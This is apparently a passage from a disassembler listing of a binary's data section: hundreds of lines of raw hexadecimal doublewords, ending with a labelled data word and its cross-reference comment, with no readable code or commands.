dd 0A100A925h, 0CD5C3E48h, 10E996h, 11DB1B1Eh, 8015C2C3h
dd 29B75D30h, 4C7F982h, 9ACEBF90h, 6984D264h, 3065D861h
dd 48C06ECh, 0C30FB86Eh, 207A6272h, 0F7B5C620h, 0A553E600h
dd 0CC34937Dh, 27BB05F6h, 8033569Bh, 25C610A8h, 5D7BC300h
dd 0B93F8C01h, 22D70ECCh, 0F620A6BCh, 0AFD976BAh, 7B82CD05h
dd 6C004680h, 216D2B4h, 0AD7F8Fh, 45EA98D4h, 6DCF9F94h
dd 79928209h, 0DB24B016h, 27BF11C4h, 0A8FB8A26h, 0C4E36C80h
dd 49AF2C30h, 4400087Ah, 0C3AB31ADh, 0A82C9263h, 2C3DB017h
dd 0D90E0C35h, 10ACFD09h, 5EFAD540h, 0DC475059h, 0C079059Fh
dd 604126CBh, 0EB8859Ch, 88AC323h, 21002331h, 9FC4B5BDh
dd 44780124h, 6930CC81h, 238266Dh, 0D284A10Ah, 80633145h
dd 0A1123521h, 18BE3043h, 1951412Eh, 0DA61F947h, 4E093589h
dd 18E51980h, 64F0191Ah, 8C3E8E24h, 0C0845400h, 63F4597Eh
dd 0D1B37417h, 40E6DEC2h, 33606F21h, 0C2F70F06h, 9CC2772Bh
dd 21648447h, 35368F60h, 7D5D461Fh, 9794950Bh, 7CFA88B4h
dd 0E70CB360h, 294F0EA3h, 0E92B2CBh, 5ECCFB68h, 0A8AC7198h
dd 66A10E26h, 8CEE251Ch, 163158h, 3B5CE8A1h, 4CB47460h
dd 2515F500h, 30030C09h, 14B701ACh, 0ED695ADBh, 9420341Dh
dd 0E89C5548h, 0BEC8C77h, 9AE41F0Ch, 6F39E7h, 30159D13h
dd 0DC1B9FF2h, 8008BC59h, 0FAD7EDB8h, 4600878Fh, 6DEAEDB6h
dd 21770002h, 0E6C152A3h, 8CA06582h, 0E0305801h, 7F4CF116h
dd 77BD2E67h, 5EC8A6B8h, 71867CEEh, 12C617ACh, 7F7003E0h
dd 410FA8C5h, 3B6AE327h, 6CD08478h, 8023449Ah, 0CD00B38Fh
dd 0B80F96E0h, 6212F1h, 0E4332435h, 844D80D7h, 9E0BE303h
dd 98E217C0h, 0D11E09Fh, 907742Ch, 94802050h, 7DB2BE15h
dd 0DC7E0180h, 41672912h, 6E23A640h, 0A49B1CB6h, 0F03F809Dh
dd 0CA03DD1h, 6AB1BB16h, 0C7B07C37h, 0C49CD2h, 507825EEh
dd 0F088937Fh, 0B1D4816h, 0E8D03014h, 694321h, 2473CC06h
dd 4AECFE3h, 864FFA70h, 6108826Bh, 54441C47h, 1C766660h
dd 0B035A802h, 0A079B217h, 0FE6D3A80h, 5D3B0090h, 4756085h
dd 170A4CC6h, 0C47C6C4Bh, 65F32740h, 2D210252h, 300449B0h
dd 0B32584A3h, 3F35E10Eh, 0AFC05F3Ah, 92880ED1h, 0DD540158h
dd 0BEBBA1C3h, 0F5C230Ah, 0A04C12D0h, 76C54DF3h, 873F00BDh
dd 436CC226h, 84E0995Ah, 9F009890h, 0E44906CBh, 4C2F8650h
dd 0AD865035h, 4300C988h, 0C5DAEB2Bh, 3D7D144Bh, 9713C4C0h
dd 0E3440361h, 7903E89Ah, 0B12F99A2h, 13C3A88Bh, 59F7746h
dd 25AF17EDh, 1210924Dh, 0B0C4DF30h, 6C064950h, 8087F888h
dd 0A400C407h, 16DF0E6Fh, 409FE90h, 0B488765Eh, 0C2405784h
dd 2C7490BDh, 1774312Ah, 2D402099h, 954ACA91h, 0FE0F82FCh
dd 80742496h, 46803C5Ch, 21DD49C6h, 634D1600h, 9E027AFAh
dd 6E06002Dh, 0C9DE118Bh, 10932326h, 0CB5C700h, 8616BAC3h
dd 0CCE03255h, 0ACA9B5BFh, 0CD4D1054h, 0B0AB609Ah, 0C203C7BEh
dd 7F14FCB2h, 81F8AA6Bh, 585B2291h, 0C410F071h, 492A2F80h
dd 0CD00689Bh, 51CE3CB6h, 4CB9AE86h, 181CAB80h, 0C61B548h
dd 7CB27693h, 0D93DE241h, 0EA4813h, 0A9EECA1h, 145AC53Fh
dd 8817DCF9h, 25C03528h, 0F8979286h, 607CF808h, 51FDCD88h
dd 9006187Dh, 1E2FB15Ah, 9720658h, 51AD2313h, 0F515B902h
dd 0E147F7ACh, 4980FF9Ch, 0A6AD512Fh, 5C1DB755h, 2D008AD6h
dd 80798E77h, 881605F6h, 0D1BEB9D1h, 80500938h, 1985E9F9h
dd 5CB89555h, 0D2C11868h, 40AA08AEh, 794FDFB8h, 0BC228326h
dd 658C6A01h, 24208202h, 5C713EF0h, 0DD70758Bh, 7DA6DC0Fh
dd 0B096B0ABh, 2332215Eh, 33C48A81h, 6084532Fh, 0E08CAECEh
dd 2BE6DAD8h, 215C6C9Ch, 0E0817045h, 0D38CB577h, 0A32FFC40h
dd 66D8854h, 242C7F49h, 24581C5Dh, 84DC8082h, 0DCE9693Fh
dd 0DADB1F98h, 0A7A0F90Bh, 398032A0h, 4BF9672h, 6AB6FFB4h
dd 0DB398027h, 7604BB11h, 926C22D9h, 0ACB008F6h, 37008635h
dd 9F8D033h, 3B525BA9h, 0C4CCE6CDh, 8330DFA2h, 5680B8B8h
dd 7B10B85Ah, 0BB270024h, 99B3C8B5h, 8DC40EE7h, 2D046F9Eh
dd 4768C82Ah, 0FC44FA4Ah, 20A4412Fh, 6680190Ch, 6172A9B2h
dd 84483568h, 0F9E18408h, 5584FC8Eh, 0CB0F3024h, 44E502EDh
dd 7BAF9FCDh, 0AAB7C8A0h, 70008690h, 14BF5AEEh, 144DC680h
dd 0E0C48B05h, 4F9FB602h, 44D016CDh, 0D6686948h, 0C070A408h
dd 0D281A10Fh, 46301D46h, 0A1173621h, 890B583Eh, 833966h
dd 98521C8h, 8E1B27E1h, 0FA4C4803h, 0C004E1E6h, 0E1216035h
dd 602630E1h, 0C6CECD0Ch, 0B118AEA9h, 99D957CFh, 1C41C3ECh
dd 1E908BD5h, 0C9003FE4h, 852B4420h, 2662F659h, 114CC0ACh
dd 93EE1E54h, 0CA690F80h
dd 1C1BD103h, 0ECB0C2h, 0A8176332h, 0C65C0AC4h, 0CF23C0h
dd 0FAE2ED95h, 4486E027h, 2C004149h, 458FF1EFh, 90C1556Ch
dd 874320C8h, 171BF027h, 805511F0h, 9DBBF278h, 0E8062E03h
dd 29780B4h, 622D09DBh, 6980B813h, 0DA82E420h, 65670522h
dd 0B3E763D2h, 301DA210h, 0B80073AEh, 47B05D3h, 126F30A3h
dd 4FF7AFDh, 8815099Ch, 31386174h, 0D1B3008Bh, 0F5FA80FDh
dd 78CC497Fh, 74CB202h, 6C64C00Eh, 0BC020C46h, 82C311B5h
dd 1E00B447h, 79C5B874h, 0E1643FD7h, 0FAD46801h, 325020F6h
dd 0BC9A2C20h, 0DFD04E47h, 17E4AE48h, 20241077h, 0C1192568h
dd 0E1E83Eh, 49FA69EFh, 0F7D05B51h, 283CBFDDh, 3C8421C9h
dd 0FD18F4B2h, 29C4EC13h, 4C8F7F02h, 4347903h, 5088FF2Bh
dd 49C804A4h, 0CCD043F0h, 2DCB35BEh, 8BE7BAh, 0D8826096h
dd 80EA48E9h, 1A90FF59h, 0A24AD2h, 9CD5850Fh, 27940B3Eh
dd 0A4647628h, 82010A46h, 0D2C30BB8h, 0A0383816h, 0B5BA1Ch
dd 0D3351374h, 53B2199Ch, 2B4FF0C4h, 63C8F08Bh, 568EA5C0h
dd 7F9F04DAh, 0E48C9AFBh, 0B62DCF64h, 0B088210h, 0E2DC6596h
dd 65187CFEh, 16D31729h, 0E54027Bh, 387234DDh, 0DCAEF809h
dd 0DE440392h, 9EB3A05Bh, 0C5031830h, 476FD85Fh, 2EBBA0Bh
dd 0B9058C58h, 2DF7144Ch, 0A80D473h, 3A175EFEh, 18507B4Dh
dd 0D7302284h, 0CC031D68h, 62697206h, 746D3F40h, 4526AB00h
dd 0DFBA9C95h, 0D723008Eh, 7EBDDB5Ch, 750005B3h, 645292D0h
dd 3098C68h, 0A6FBB79Eh, 30A7B035h, 0AB264D1Ah, 92300A03h
dd 0C0525F15h, 109814Fh, 12DF5B27h, 0EDF1DE3Dh, 68ECF89Ch
dd 5D6E9403h, 0E9F37886h, 0A770FC8Ah, 9C794CB5h, 190BB700h
dd 0B880E1F4h, 6D942D05h, 54B42CDFh, 1D0E5EB2h, 41A63F0Ch
dd 57540ACh, 0E0D4FDD7h, 4355E828h, 0E2F80724h, 0A2704CFFh
dd 4856BBD4h, 0BC5174E9h, 0FAE808h, 9734CB8Ch, 7494AFB1h
dd 4321660Bh, 0ADB58014h, 0B99A919Fh, 1DF10764h, 6F758055h
dd 0D13D4E01h, 0EC9080F2h, 0AC1394DBh, 0C2E3E7Bh, 0FC8B103Ch
dd 3021F95Eh, 38760327h, 3D911374h, 0F6808C7h, 180C6183h
dd 0E0B90728h, 479B8E07h, 8B7F5110h, 2E2B4FE6h, 1E2364h
dd 82C853D9h, 3C01FEA3h, 7F62AA01h, 0B15C15Dh, 4CC89A91h
dd 2D2D7BC3h, 0E14AC049h, 0FA91012Ah, 7953C79Ch, 0D41FD575h
dd 0D059DC1Ah, 0ED948014h, 436FFADBh, 35622E0h, 4DEF7342h
dd 0F8104651h, 0D9848A82h, 79891C70h, 0D0C43313h, 0ED27BAC4h
dd 6DB03C7Ch, 9203C408h, 0EB519813h, 22F3F17Ch, 3100CC69h
dd 0ED7DDF07h, 3E165929h, 0F80BA358h, 4E2CE32Dh, 3C382CD0h
dd 2B4A7542h, 7D0510CCh, 1CF0C9C3h, 23FC00CDh, 3386AE7Eh
dd 0CA9AAB02h, 61BC6FCDh, 0D1107FDCh, 0FB0FD592h, 0F5A6CCh
dd 0AF60989Ah, 346304BDh, 0D9736930h, 0BA4D307Ch, 8015CF17h
dd 1300E08Ah, 4046A114h, 590E8432h, 0A0588D2Ah, 79AFC33h
dd 1749CE82h, 0B1C9E200h, 92070FC1h, 0F3D0A5D3h, 0CEED0CC0h
dd 237600B0h, 0A2023008h, 0A253AB5h, 8484A0BBh, 2CEDAF4Ch
dd 32184A1Eh, 10F80210h, 0BD702Ch, 8A63C585h, 9CCE70E0h
dd 81DA44A8h, 3CCBC0A4h, 8C7BB82Ch, 80AC093Eh, 217571D3h
dd 24CEF972h, 1201C2Ch, 824D35ADh, 83B42029h, 0FA1FF980h
dd 0D194B91Eh, 1401856h, 0D086B0CCh, 60AF6EFEh, 65186B18h
dd 0DAD85A02h, 0F56024C7h, 8F228128h, 316FAF06h, 704984FCh
dd 0E0A928A7h, 7D5A7922h, 3AF4430h, 0F053413Eh, 0CA0B663h
dd 1F35ABBh, 4C72CA21h, 1B3079F2h, 0AB03A8Ah, 51D10984h
dd 0CEFC8187h, 99719612h, 25F03097h, 3C30Eh, 8751182h
dd 4E7401B5h, 12A8793Eh, 3CB22345h, 9D3021F2h, 72E7A6Bh
dd 9F80D527h, 8C8A19DAh, 3853C9FCh, 0ACED50h, 4299C0AFh
dd 3562FC66h, 50507320h, 4372F80Fh, 0EDB602B1h, 311FFADDh
dd 301258h, 0C5D2E0Ah, 8B0FF7Dh, 256D870Ch, 0EEA699B5h
dd 0A85002B7h, 0A3195796h, 91D4AC0h, 0CBC27912h, 5488D0CBh
dd 0DC7230C0h, 20691D11h, 0AF0584DBh, 0B03480B1h, 0BA5DD327h
dd 6CDD2630h, 9420EF60h, 1A410221h, 0F7B848DAh, 28E000C1h
dd 0BF96C468h, 4C3F24h, 9AB8F4E4h, 88FC040h, 0AD58B6D2h
dd 5307AE04h, 9FF90090h, 0DB5B1FC4h, 0CABF452Ah, 49E08239h
dd 0F0B4AD24h, 92BE00EDh, 0D983AC59h, 9960B411h, 0CA5ECE58h
dd 41749C51h, 2A6333C5h, 9A094004h, 360A0B4h, 4AA3997Ah
dd 0E1C8FA07h, 9F012423h, 0C259DB02h, 3C28293Ah, 13486B4Fh
dd 288866F3h, 0D6CD097Ah, 90E05010h, 0F91282D5h, 0F4034A38h
dd 0C004A53Fh, 0B22E367h, 790333C3h, 0D8AB64A2h, 43104CFAh
dd 204867D7h, 2C1A610h, 30D333BDh, 1AFEC160h, 54B8A078h
dd 0F9AD048Ch, 0C8AFBA2Bh, 0BE00CE34h, 2D247019h, 9780DAB0h
dd 0B1DE7021h, 801C2CF7h, 90ABEBAh, 64353CC6h, 115C084Fh
dd 94C4E2C0h, 8B0E4A27h, 0A7F0250h, 42E720C4h, 1D6446E8h
dd 2EE29B35h, 66FB02B0h, 0A8D816F1h, 5070D614h, 38A57A48h
dd 2A60F864h, 0A50F1BB9h, 5E56E19Bh, 0B1418864h, 0E18482D1h
dd 9536D978h, 0E178F204h, 0B80C247Ah, 0B50BCF2Eh, 0AEF8A801h
dd 33D8C5B2h, 64B09752h, 0F42C31BAh, 270AA11Eh, 1040B0F3h
dd 4B49CBF5h, 259446FDh, 8200A9B4h, 152CC5C3h, 0F85792h
dd 168FAE32h, 0C0B667A1h, 6C44B04Fh, 90140302h, 0C97E10h
dd 82DA28D6h, 62C743C5h, 0DC659187h, 709B1A05h, 1C508980h
dd 249CF9B3h, 0EBB17982h, 35744081h, 0D0A84B5Dh, 0AB3FB9D8h
dd 5C627224h, 3A96AC14h, 65638966h, 0C0D0F6h, 37547479h
dd 0AA2E1AD3h, 40C1C6FEh, 0C06F06CBh, 1DA0E093h, 3B0C44Ch
dd 82108071h, 4415B57Ch, 10804F97h, 9001C4Bh, 2BAD5EFEh
dd 7206E07Bh, 0BFFAD57Ch, 0B8637048h, 95D82D40h, 3992BC35h
dd 0C156200h, 22573CEh, 0AED23EECh, 0C4A1A858h, 681E761Dh
dd 0BCC45830h, 0DD3A8C1Dh, 5EC4806Ch, 1C706B1h, 8AE14CFh
dd 6505E8E3h, 7A7F35h, 0DD2FF99Ch, 1355F5B1h, 245EF6E8h
dd 56F6BF41h, 0E43FAC3Ch, 190C40DEh, 0A2D5728Bh, 2DD6A300h
dd 0B29CE7Bh, 0E3C4007Ah, 7C26065Ah, 6FE6F525h, 0B495DE2Ch
dd 7CF8215Eh, 0D9008AA4h, 4773F2A4h, 0E8991481h, 0D501DC22h
dd 95615ABAh, 48182072h, 68DA2B4Ah, 286BC4C0h, 9302B5A4h
dd 0BEDA0A40h, 734A55Ah, 7382888h, 59122893h, 510C405Ch
dd 9998D446h, 8FF3D000h, 1EB974C8h, 94929D54h, 1E11DC17h
dd 6A78C780h, 0AF00B729h, 0BC474FB2h, 0BCED60C8h, 946028DCh
dd 0C3217610h, 26898079h, 8CC1BB65h, 60230100h, 0F8FECEE9h
dd 903C906Ah, 592F2038h, 24A17C17h, 0D9234020h, 0EB9A0073h
dd 1D9D967Dh, 8DE2A43Eh, 0A8D0D061h, 0D827A106h, 3A603A10h
dd 8B1C25FBh, 7A2C046Ch, 0FD04B8ECh, 87F7925Eh, 0B1F5C3B0h
dd 510D4101h, 66FAB864h, 0F8851BD5h, 0A2064CD7h, 6034071Ch
dd 0E1EEC7ABh, 2F86BD56h, 10402E2Bh, 60C17046h, 0F8686AB3h
dd 7C9A07FFh, 0D334B617h, 1803E4D4h, 87658B72h, 0A7285200h
dd 43BE0035h, 2244B3Ah, 39050520h, 13098472h, 11E08480h
dd 274498F3h, 48404CDFh, 64600EBEh, 6EAF7951h, 0FBAD00B5h
dd 0C57517BAh, 6F0E1FFFh, 41B0A704h, 0D2B1BBB9h, 0CA2DA067h
dd 371B8410h, 6C2CB498h, 59003D9Bh, 0DD0D1FF9h, 0ACA8BC9Ch
dd 4B861727h, 1830C274h
dd 492461B1h, 8200A071h, 189AF0C0h, 0F95A0DDCh, 2A18518Ch
dd 2A0E4804h, 0C4848B13h, 0A2372332h, 6456372Fh, 64ECED51h
dd 16FC0E17h, 0A580D9AAh, 0EA52E334h, 0C30208B6h, 0F31A7A86h
dd 0EDAD5834h, 747AFC17h, 6820CA12h, 0EAC8268h, 69882960h
dd 0B3276CC4h, 0E57125A4h, 601FE4D8h, 97520h, 6FD27950h
dd 363187D9h, 0D6025A00h, 0A81E44B8h, 0B05B0122h, 1A1C4316h
dd 807C3C11h, 0AC57820h, 52F800ACh, 1947EAA1h, 1C27DD17h
dd 5C24E2A2h, 24465ED8h, 0D2EB8500h, 0AF349F9Bh, 0D74B3D79h
dd 1C01088h, 4A35F295h, 40DCA964h, 30C4F6D4h, 31248190h
dd 990CD4CCh, 9831EBh, 0C817FEC3h, 64321B45h, 0C00DF27Ch
dd 79F50934h, 915495EEh, 0FC40891Dh, 0D9300093h, 0CFD3D5B8h
dd 0B06D627h, 0AA14607Ch, 69AB407Dh, 8516B819h, 0D9107668h
dd 2F264702h, 350428D4h, 8A0CED3h, 795E0CF9h, 619874Eh
dd 0DD10EC42h, 64A68245h, 54082FABh, 0BEF6EC02h, 58E44244h
dd 72E323A8h, 9030C912h, 0C0C22DC5h, 9EB4D9D9h, 749C7E02h
dd 6BEE441h, 3A3BC0h, 3093A18Ch, 10948B2Bh, 0BD6AAF01h
dd 0A0B552DAh, 75783C6Ch, 50170B1Ah, 44CD32FAh, 6AB8A760h
dd 0D1243810h, 97E4DF28h, 3C0768BDh, 2DA29B29h, 0F594A4AAh
dd 6DB6495Eh, 6170F4D3h, 3ED403EAh, 4A07BC09h, 4384C100h
dd 0D1BA5BF5h, 21D248E5h, 0DAF26700h, 71AE2AAFh, 9FBB1500h
dd 76855DADh, 2C3E7408h, 0ED91ABAh, 7E833577h, 101119C4h
dd 0BB800E75h, 9A513F0Fh, 36BC31C1h, 41AD2045h, 6B09AC6Dh
dd 62246751h, 691879C3h, 3906076Bh, 0C0FCD6CEh, 9D53B1Fh
dd 66DB5B00h, 34B82E1Eh, 0B9E516ACh, 49FC09D7h, 25446828h
dd 33D98090h, 692C3401h, 261B049Dh, 6314A030h, 0C86A214Fh
dd 5D07AFB8h, 0F8C2F61Eh, 2802F5D2h, 54379780h, 8E8240F8h
dd 417F687Fh, 0C4E15D1Ch, 0C0261640h, 13E3D043h, 0B24E380Ch
dd 0EFD80024h, 0AD5B5E73h, 0A8120045h, 0D3D95F2Bh, 0E7F771A9h
dd 0C2EDD6E8h, 48102504h, 2F443107h, 19F0BD28h, 8F5181ADh
dd 0DA4F20h, 76A00EE9h, 4DE79B26h, 39459930h, 1E4CA53h
dd 7DA530ECh, 3ADEBC19h, 249EC20h, 28E22Eh, 5E7F9826h
dd 0A1BFB4E7h, 4E919658h, 8EBC8C1h, 3FFB4C01h, 8A110040h
dd 5C45BCBAh, 0FBBCA889h, 2007C43h, 1D6CD3FAh, 1A4AF6B3h
dd 1099A00Bh, 74BCD80h, 0A00CFA5Bh, 835E50FCh, 0F100818Bh
dd 32048413h, 2093757h, 0AECBA134h, 0B4C22B5Ch, 0B7060FBh
dd 0CFB32752h, 3410DCE8h, 20B9CDF0h, 0A2F9238Bh, 56D5D70Ch
dd 71E8430Ch, 0D33602C8h, 647F8425h, 1ABD4C98h, 4EE7610Fh
dd 0D4CA259Dh, 0BC709C7Bh, 38020048h, 0AE7CD19Eh, 0CB9342Eh
dd 0BB859F60h, 468B093Dh, 10C9AF2Dh, 0F77530CAh, 34D8C500h
dd 0B264FABBh, 0F3103D53h, 4F4B1580h, 0BC110A84h, 22D79F02h
dd 84462C2Dh, 0C05E8030h, 90366BEAh, 8E0038AAh, 0A24D2B3Dh
dd 1AC2C0F1h, 28DB08B2h, 0B1007C66h, 5D5BE280h, 0FAA69BDEh
dd 6CF81F5Ch, 34F649DCh, 0BB4684C4h, 89EDB91Dh, 48F9C7FAh
dd 0EF6F4561h, 193F2F0h, 0C49287E8h, 96D2BB33h, 24DA1AD9h
dd 0E20E98CFh, 0D809C2C0h, 0C101BF9Fh, 0E9FC568Ah, 8C48BED5h
dd 52694424h, 0FE257988h, 3E7F0BEBh, 0CF8F165Ah, 40695640h
dd 340A0EF9h, 0A877A32Dh, 13998082h, 0D9F4D1C0h, 26811976h
dd 23251FDAh, 0FB142411h, 81584E3Fh, 0FFCC0CAFh, 4CF8E9DBh
dd 0BD500AC9h, 12BC93A2h, 0F7B80F8Bh, 0B20CF3F6h, 4DA2304Bh
dd 0C1E6F300h, 7E143D86h, 449613FDh, 88B809D1h, 0A56058CDh
dd 3BD3484h, 80C93CB8h, 4116AB62h, 1491CFB1h, 5E7B2475h
dd 94D08970h, 0AA00C471h, 0EA3DCBCAh, 0D3480051h, 0A2690318h
dd 620022B1h, 677D2DBDh, 5C022C2Fh, 20F8B884h, 4491008Ch
dd 0E455644Eh, 0D704E187h, 2EFCAECEh, 9FD640C0h, 701603C2h
dd 0B5B7D8F6h, 0CAECFC0h, 5B202F6Bh, 2B2D7084h, 87F79A00h
dd 0A612D0FFh, 2FD80534h, 0DB960405h, 0CC899E48h, 11001D75h
dd 27AE8049h, 2CF31F6h, 4C62EB96h, 7C6A7F05h, 3278E079h
dd 0A1248623h, 7D60902Eh, 2507CEFDh, 30677BC8h, 187CFC42h
dd 117AE702h, 0C92B5E1Ah, 423CC748h, 0AC187CFAh, 0EF1E3F22h
dd 12BCC15Eh, 0F0D4F2A1h, 3380B640h, 44F802h, 0BCCA92FAh
dd 9F8FA40Eh, 2F268379h, 0D060C4CFh, 1355238h, 7AB34CC1h
dd 0D00E803Ch, 80BCCA0Ah, 2479215Ch, 0D112E680h, 482EAh
dd 0D5A02AFBh, 81C3F8D8h, 0BB5017B5h, 3E0E7DA3h, 0B1584091h
dd 0BB5A96Fh, 0D873D288h, 0F9E44445h, 2AE05F67h, 0FA88BBF4h
dd 1C5F76E6h, 0EBC23020h, 950C004Ah, 0EE3E8437h, 330135A6h
dd 87FFBB09h, 8C5BA479h, 39B3C09Eh, 1C58772Bh, 0ABEE9704h
dd 1CE2079Fh, 0DAD76000h, 30B97F8Bh, 0AA39F11Eh, 1DC0135Dh
dd 27C622ECh, 0CB834E28h, 0C076C82Ch, 2D8FAA95h, 49233E2Fh
dd 63C49E90h, 53B50055h, 8A9DA2D3h, 0A609BBE0h, 10230491h
dd 484E5DD0h, 3900BC48h, 0E72E824Fh, 9800A10Dh, 343D401h
dd 4FA72156h, 0DFA08BABh, 0E2C06950h, 24342BE6h, 219AFE25h
dd 53C25890h, 5C8459F8h, 57C084B2h, 0CC5A55DAh, 50286E7Eh
dd 3B076825h, 4A658A0Bh, 0E5DC3F81h, 7BCCE82h, 74F66992h
dd 70632176h, 9380119Dh, 8D33734h, 80B45EADh, 0C2D117F4h
dd 51C32479h, 0C3F25F66h, 66FE8AD7h, 0F7B12C18h, 6B7F42ECh
dd 909490C4h, 0E0BDEE43h, 0A5AD39h, 2DDD4536h, 6CEC284h
dd 4F6C7512h, 54E844A8h, 1A2B008Ch, 9AE3049Eh, 0FF4F49E1h
dd 3FBE1840h, 38BC1A8h, 6927114Ah, 0EDE1DAEBh, 394C4114h
dd 9A52FC47h, 0F7A28F3Ch, 178E5A02h, 70E306D2h, 88BE4E94h
dd 24073134h, 0F77355A1h, 1B58E87Bh, 547D0056h, 536B721Fh
dd 0CE3A6D8Ch, 9DA00F1h, 80AA3A5Bh, 0FA5C0085h, 4DFDC9A8h
dd 3517BC2Fh, 0A033DAD3h, 0BF31ACB9h, 57FAE8EDh, 3471787h
dd 9A55ACB0h, 0E0DCA6F2h, 0CA4D1540h, 411C0AFEh, 562C1BB5h
dd 933F4B46h, 8AD45A80h, 4C54E163h, 61E4F031h, 0AC73362Fh
dd 292D1006h, 47141152h, 80C0E1FCh, 66AEF59Fh, 0C0A4A233h
dd 403BF62Ch, 0A61C69DCh, 0EA01D128h, 0DD823CACh, 46B11073h
dd 4BA00C70h, 4D1021BBh, 0F696D88Bh, 64C84E25h, 30CF2E8Ch
dd 0F0460FD9h, 64C0A420h, 1201A99Eh, 0F7FF08ECh, 0A4238414h
dd 10D02B5Ah, 0B4C7691Fh, 826D307Ah, 0BB0EDD3Ch, 840FE4D7h
dd 0B0C1D986h, 74309034h, 28814C35h, 1CB24Bh, 9991B04Bh
dd 9E819CBh, 6532BB35h, 0E5A90C04h, 1759C02Ch, 248F3A00h
dd 374D41D0h, 20DE499Bh, 942B1Dh, 3F6B56F9h, 0E1029330h
dd 0DAFC8FADh, 7C344627h, 7A353A9Bh, 0D08CA009h, 14EF7418h
dd 30E4C44h, 4548B5D8h, 53E81ABEh, 0F496CA13h, 247A215Ch
dd 30AF8FBEh, 13B608Ch, 116A2E67h, 137CAD64h, 0F7003358h
dd 0CFCA8FD6h, 12C514FCh, 230010AEh, 4BEBA33Ah, 0F60038F3h
dd 0DD4E3F01h, 20BA6AAh, 645B3BA8h, 2C411E9Bh, 2039BEh
dd 2126EDFBh, 1A2F87h, 125B0A80h, 59A9FE0Ch, 0D1D20B8h
dd 813D3915h, 73CED928h, 7C28F7B3h, 35EA5C80h, 6F0084D2h
dd 0BCB990F9h, 39F80DAh, 0AD217DE5h, 66C269C2h, 3F1ED8DAh
dd 4EC2DF87h, 0DE607F72h, 37D40C8h, 8201AE0Eh, 0BCB36E3Eh
dd 16E45C6Ch, 12B8D6D4h, 0C06C20E8h, 9A309035h, 0DBBC1188h
dd 60EA000Bh, 0B1225A8Fh
dd 0C90E1E6Bh, 0C5B5DE64h, 0F980319Ah, 0A8F90790h, 78C2E0h
dd 0C196D351h, 689146E0h, 672B6500h, 0AE2EFFC3h, 959B03ADh
dd 7DDB80EAh, 0FD724FC0h, 0B100FE7Dh, 538EDA03h, 47A386h
dd 74BB7DD9h, 0CBB40C10h, 2DB61300h, 7A12FEF7h, 20D560B5h
dd 3494B24Bh, 96DB790Dh, 5AF0082Fh, 0F97F00A2h, 0C026A503h
dd 40029C5h, 80FD833Dh, 0EC2D893h, 681F0274h, 0B0BB7CE7h
dd 0A6F57729h, 887D1A06h, 19CA67h, 0D849B493h, 4043E339h
dd 7405161Ch, 475F7640h, 0E94F452h, 4611AD5h, 0DA295660h
dd 88C07E01h, 5C743BBBh, 10E411h, 0B1EB1EB9h, 2DD299B3h
dd 228E5001h, 20C3FF6Ch, 0E01108E8h, 4BF276h, 3D660B47h
dd 79643963h, 0B0CDEB0Eh, 90D847B5h, 0E06152C6h, 40E71FDDh
dd 4FB41F68h, 123CEFAh, 2000DA43h, 74BD3483h, 14976204h
dd 0A54F9D68h, 0B8581F06h, 0DF38E2FEh, 7E301819h, 2A90DB0Eh
dd 18C03B42h, 187A2767h, 0F7050E55h, 30975EACh, 42EAB445h
dd 0DA98D1C0h, 73530024h, 4C0A4383h, 0AF76E35Ch, 302F123Ah
dd 7D4958BCh, 94790940h, 80DD7A57h, 0A708A2D3h, 0C6360A81h
dd 7504845Ah, 0DE41005Eh, 0A0CA9A4Dh, 143124A1h, 7E79215Dh
dd 95C12980h, 9099FA43h, 0B9C9F307h, 2AB0942Ch, 1526ACh
dd 0DE3D29ABh, 0A0BA16A1h, 82013B7Ch, 6A308366h, 499C807Bh
dd 1DFE0060h, 0B4CB3931h, 0E1A66D06h, 217D79h, 865F0F89h
dd 0A43B1AD1h, 0C0709892h, 0D300F671h, 9F0DE9FDh, 1CD2A5Eh
dd 67D143F3h, 303484DDh, 77305852h, 79AF213Eh, 583763A7h
dd 0D4D0B769h, 501E5853h, 0ADC0ED73h, 0CBA427E2h, 4BA8C187h
dd 83243A6Eh, 429C2BC0h, 0C9E79FDEh, 3034AC80h, 0B7510DABh
dd 0CAF86846h, 1EA32E23h, 0B01A9h, 534D9025h, 0C533DDB6h
dd 0D3FA5014h, 0DD10002h, 0C3166623h, 287969DBh, 0B17E5D28h
dd 8A0F9F8h, 652C6C2Ah, 5700C39Dh, 7B932712h, 699900ACh
dd 0D805B58h, 0A8508A0Eh, 0AE00D3DCh, 2B375F55h, 452DC6h
dd 69F08617h, 7B3F9334h, 4F701079h, 50D21A0Ch, 0C714D226h
dd 0FAF66C0h, 5F8A05h, 0F9DB5584h, 411D272Ch, 0A2DBA17Bh
dd 26DA88B8h, 0B2D304BAh, 0FE638h, 98B97074h, 0F237FC40h
dd 0C5B700D5h, 0BA774558h, 2F00D876h, 0E398B6C7h, 30CE4D8Eh
dd 6F18B87Dh, 0D57F6345h, 8205EF7h, 0E22E6Bh, 2482D4D7h
dd 780014D1h, 9C209121h, 1FE618CAh, 0D81DBCh, 72F0EB48h
dd 0DA008C87h, 947AFF2Bh, 4221B81Ch, 804FCCD1h, 5F9520C7h
dd 0C914BA54h, 0A3A17103h, 0C06FE507h, 34D1AEEh, 41E21062h
dd 89E0CE6Eh, 0D902F2A2h, 0B3601EBBh, 14349377h, 80976408h
dd 782D5A08h, 0C0A087D6h, 29A831D7h, 3D52C600h, 33E29A23h
dd 0B206003Ch, 79B5D070h, 95001088h, 4AACC5Ah, 1A17E59h
dd 73559061h, 203CEB5Dh, 0FA017938h, 0C9A84C89h, 0F840388Bh
dd 0C47BFDA1h, 443A5729h, 994490BEh, 3A615D39h, 0F2223722h
dd 0F0CB108Fh, 3C752858h, 5131EA22h, 0B54614B6h, 11714229h
dd 0AA210F53h, 0D80B710h, 9A735160h, 6477FC00h, 787D0FA0h
dd 88C402F3h, 21FF0331h, 75D40E60h, 2BEF3900h, 0C824A441h
dd 12A6001Ah, 46B52F06h, 0AC3C6A07h, 0CF150011h, 0E0F66588h
dd 0B35900FEh, 0BF04B7CEh, 207724Eh, 3F49AA2h, 0EE201C90h
dd 27FD16D5h, 5D03BA46h, 80452668h, 70175275h, 0ADE6009Eh
dd 3F5EC37Fh, 160097BEh, 0C0EDD2BFh, 0B99919h, 0CFE535BBh
dd 0F908132Ch, 395DCA00h, 0D0FE9641h, 0E499008Ch, 26C00215h
dd 0A600088Ah, 823B8B72h, 92181Ch, 0E85219DBh, 0EB0195D1h
dd 0AB235100h, 0DE6E3873h, 28880070h, 93A84EFAh, 98503101h
dd 0DF03958Bh
db 0C4h, 0B7h
word_505446 dw 2309h ; DATA XREF: ___:off_435710o
